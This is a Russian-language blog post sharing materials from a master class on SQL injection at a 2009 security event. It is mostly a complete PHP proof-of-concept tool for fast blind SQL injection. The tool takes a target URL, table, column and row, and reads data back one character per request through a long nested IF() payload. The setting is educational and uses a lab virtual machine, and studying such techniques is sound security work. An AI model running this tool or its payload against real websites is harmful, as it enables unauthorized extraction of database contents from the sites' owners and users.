8 Декабря, 2009

Материалы с мастер-класса по SQLi на Hackday#2

Dmitriy Evteev
Собрав оставшиеся силы джедая после недельного пентеста в славном городе Кив, и после недолгой остановки в Москве на 8-9 часов, переместился я в культурную столицу нашей необъятной родины - Санкт-Петербург. В минувшие выходные в нем проходило мероприятие с громким названием " Hackday #2 ". На мероприятии уже ближе к вечеру я провел мастер-класс по теме " Внедрение операторов SQL ". "Велосипед" на этот раз не выдумывал (а его от меня там и не требовали), а просто воспользовался наработками , которые в свое время готовились для института МИФИ . Собственно, материалы мастер-класса, который по времени уместился в один час, представлены ниже. name='more'> PT Hackday#2
View more presentations from Dmitry Evteev . PT Hackday#2
View more documents from Dmitry Evteev .Виртуальная машина использовалась прежняя , но с небольшими изменениями в контексте blind SQL Injection. Внесенные изменения позволили продемонстрировать быструю технику эксплуатации слепых SQL-инъекций подбора одного символа в один запрос. Это возможно, если приложение использует приблизительно такой синтаксис: ... $query="SELECT key FROM table where id=".$_GET['id']; $result=mysql_query($query); if(mysql_num_rows($result)) { $key=mysql_fetch_array($result); $query="SELECT data FROM table where key=".ceil($key[0]); $result=mysql_query($query); ... Так, сопоставив возможные значения параметра id, передаваемого приложению, в данном случае методом GET, с самим контентом и наложив их на карту подбираемых символов становится возможным очень эффективно и за один запрос считывать данные из таблицы и/или файла, если существуют необходимые привилегии. Proof of concept, реализующий эту идею: <?php /* Fast blind SQL Injection proof of concept by Dmitry Evteev [devteev@ptsecurity.ru] */ $error_pattern = "/>error</"; $context_arr = array( '/>news1</' => 'A', '/>news2</' => 'B', '/>news3</' => 'C', '/>news4</' => 'D', '/>news5</' => 'E', '/>news6</' => 'F', '/>news7</' => 'G', '/>news8</' => 'H', '/>news9</' => 'I', '/>news10</' => 'J', '/>news11</' => 'K', '/>news12</' => 'L', '/>news13</' => 'M', '/>news14</' => 'N', '/>news15</' => 'O', '/>news16</' => 'P', '/>news17</' => 'Q', '/>news18</' => 'R', '/>news19</' => 'S', '/>news20</' => 'T', '/>news21</' => 'U', '/>news22</' => 'V', '/>news23</' => 'W', '/>news24</' => 'X', '/>news25</' => 'Y', '/>news26</' => 'Z', '/>news27</' => 'a', '/>news28</' => 'b', '/>news29</' => 'c', '/>news30</' => 'd', '/>news31</' => 'e', '/>news32</' => 'f', '/>news33</' => 'g', '/>news34</' => 'h', '/>news35</' => 'i', '/>news36</' => 'j', '/>news37</' => 'k', '/>news38</' => 'l', '/>news39</' => 'm', '/>news40</' => 'n', '/>news41</' => 'o', '/>news42</' => 'p', '/>news43</' => 'q', '/>news44</' => 'r', '/>news45</' => 's', '/>news46</' => 't', '/>news47</' => 'u', '/>news48</' => 'v', '/>news49</' => 'w', '/>news50</' => 'x', '/>news51</' => 'y', '/>news52</' => 'z', '/>news53</' => '0', '/>news54</' => '1', '/>news55</' => '2', '/>news56</' => '3', '/>news57</' => '4', '/>news58</' => '5', '/>news59</' => '6', '/>news60</' => '7', '/>news61</' => '8', '/>news62</' => '9', '/>news63</' => '!', '/>news64</' => '"', '/>news65</' => '#', '/>news66</' => '$', '/>news67</' => '%', '/>news68</' => '&', '/>news69</' => '(', '/>news70</' => ')', '/>news71</' => '*', '/>news72</' => '+', '/>news73</' => ',', '/>news74</' => '-', '/>news75</' => '.', '/>news76</' => '/', '/>news77</' => '@', '/>news78</' => '', '/>news79</' => '^', '/>news80</' => '_', '/>news81</' => '{', '/>news82</' => '|', '/>news83</' => '}', '/>news84</' => '~', '/>news85</' => ':', '/>news86</' => ';', '/>news87</' => '<', '/>news88</' => '>', '/>news89</' => '?', '/>news90</' => '[', '/>news91</' => ']', '/>news92</' => ' ' ); function http_connect($query) { global $server; global $context_arr; global $error_pattern; $ch = curl_init($server.$query); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); try { $response = curl_exec($ch); curl_close($ch); if(!preg_match($error_pattern,$response)) { foreach ($context_arr as $pattern => $sumbol) { if(preg_match($pattern,$response)) { return $sumbol; } } } return -1; } catch (HttpException $exception) { print "[-] Not connected"; exit(0); } } function brute($column,$table,$lim) { $ret_str = ""; for ($i=1;$i<43;$i++) { $q = "if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=65),(500),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=66),(501),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=67),(502),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=68),(503),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=69),(504),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=70),(505),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=71),(506),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=72),(507),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=73),(508),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=74),(509),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=75),(510),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=76),(511),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=77),(512),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=78),(513),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=79),(514),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=80),(515),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=81),(516),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=82),(517),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=83),(518),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=84),(519),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=85),(520),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=86),(521),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=87),(522),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=88),(523),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=89),(524),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=90),(525),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=97),(526),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=98),(527),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=99),(528),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=100),(529),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=101),(530),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=102),(531),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=103),(532),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=104),(533),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=105),(534),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=106),(535),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=107),(536),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=108),(537),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=109),(538),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=110),(539),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=111),(540),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=112),(541),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=113),(542),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=114),(543),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=115),(544),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=116),(545),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=117),(546),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=118),(547),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=119),(548),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=120),(549),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=121),(550),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=122),(551),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=48),(552),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=49),(553),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=50),(554),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=51),(555),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=52),(556),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=53),(557),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=54),(558),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=55),(559),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=56),(560),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=57),(561),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=33),(562),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=34),(563),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=35),(564),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=36),(565),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=37),(566),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=38),(567),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=40),(568),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=41),(569),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=42),(570),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=43),(571),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=44),(572),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=45),(573),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=46),(574),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=47),(575),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=64),(576),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=92),(577),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=94),(578),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=95),(579),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=123),(580),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=124),(581),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=125),(582),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=126),(583),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=58),(584),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=59),(585),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=60),(586),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=62),(587),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=63),(588),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=91),(589),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=93),(590),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=32),(591),null))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))--"; $r=http_connect($q); if ($r!=-1) { $ret_str=$ret_str.$r; print "."; } else { return $ret_str; } } return $ret_str; } function help_argc($script_name) { print " usage: ./".$script_name." -s=http://host/?param= -c=column -t=table -l=line "; } function successfully($str) { print " [+] Bruteforce is finished [+] Line - $str "; } if (($argc < 4) || in_array($argv[1], array('--help', '-help', '-h', '-?'))) { help_argc($argv[0]); exit(0); } else { $ARG = array(); foreach ($argv as $arg) { if (strpos($arg, '-') === 0) { $key = substr($arg,1,1); if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); } } if ($ARG[s] && $ARG[l] && $ARG[c] && $ARG[t]) { $server = $ARG[s]; $lim = intval($ARG[l]); $lim--; $column = $ARG[c]; $table = $ARG[t]; print "[+] Initiated bruteforce
"; $r = brute($column,$table,$lim); successfully($r); } else { help_argc($argv[0]); exit(0); } } ?> Думаю по коду все становится прозрачно, потому комментировать не стану. Для демонстрации в старой среде просто были добавлены новые данные: И т.д. Таким образом, было осуществлено сопоставление данных и возможность демонстрации быстрой техники эксплуатации blind SQL Injection.